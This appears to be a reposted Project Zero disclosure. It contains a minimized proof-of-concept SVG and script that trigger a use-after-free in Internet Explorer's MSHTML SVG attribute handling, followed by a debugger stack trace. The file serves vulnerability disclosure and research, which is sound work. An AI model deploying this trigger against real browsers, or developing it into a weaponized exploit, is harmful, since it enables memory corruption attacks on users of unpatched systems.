Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-F
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来源:google.com 作者:Google 发布时间:2016-04-06
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<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=691 Minimized PoC: --> <svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink"> <pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern> <script><![CDATA[ function handler() { inner.setAttribute("viewBox"); } outer.addEventListener("DOMAttrModified", function () { handler(); }); doc = document.implementation.createDocument("", "", null); doc.adoptNode(rect.attributes[0]); ]]></script> </svg> <!-- Backtrace for reference: 2:052:x86> k 10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571 0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748 0bb14bdc 67fea3dc verifier_67fe0000!VerifierStopMessage+0x74 0bb14c40 67fe733d verifier_67fe0000!AVrfpDphReportCorruptedBlock+0x10c 0bb14ca4 67fe7495 verifier_67fe0000!AVrfpDphFindBusyMemoryNoCheck+0x7d 0bb14cc8 67feb651 verifier_67fe0000!AVrfpDphFindBusyMemory+0x15 0bb14ce0 67ff0b12 verifier_67fe0000!AvrfpDphCheckPageHeapAllocation+0x41 0bb14cf0 67f93246 verifier_67fe0000!VerifierCheckPageHeapAllocation+0x12 0bb14d4c 60dca53f vfbasics+0x13246 0bb14d68 604cce4e MSHTML!MemoryProtection::HeapFree+0x46 0bb14d70 60b07866 MSHTML!ProcessHeapFree+0x10 0bb14d88 60baac6b MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRe ct>+0xb6 0bb14de8 60e18b69 MSHTML!PROPERTYDESC::HandleStringProperty+0x110 0bb14e14 607e30e6 MSHTML!PROPERTYDESC::CallHandler+0x855996 0bb14e54 60b83323 MSHTML!CElement::SetAttributeFromPropDesc+0xbe 0bb14ee4 607e2f44 MSHTML!CElement::ie9_setAttributeNSInternal+0x2ee -->
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